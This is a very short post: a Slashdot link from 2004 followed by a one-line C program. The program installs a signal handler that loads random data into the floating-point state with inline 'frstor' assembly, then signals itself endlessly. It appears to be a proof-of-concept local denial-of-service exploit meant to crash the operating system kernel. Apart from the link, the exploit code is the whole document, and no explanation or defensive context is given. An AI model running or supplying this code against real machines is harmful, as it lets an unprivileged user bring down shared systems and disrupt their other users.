Cf
http://slashdot.org/article.pl?sid=04/06/14/118209&mode=thread&tid=106&tid=126&tid=128&tid=185&tid=190
#include <stdlib.h> #include <signal.h> a(b){for(short i=108,g[i];i--;g[i]=rand())if(i)asm("frstor %0"::"m"(*g));} main(){signal(30,a);for(;;)kill(getpid(),30);return 0;}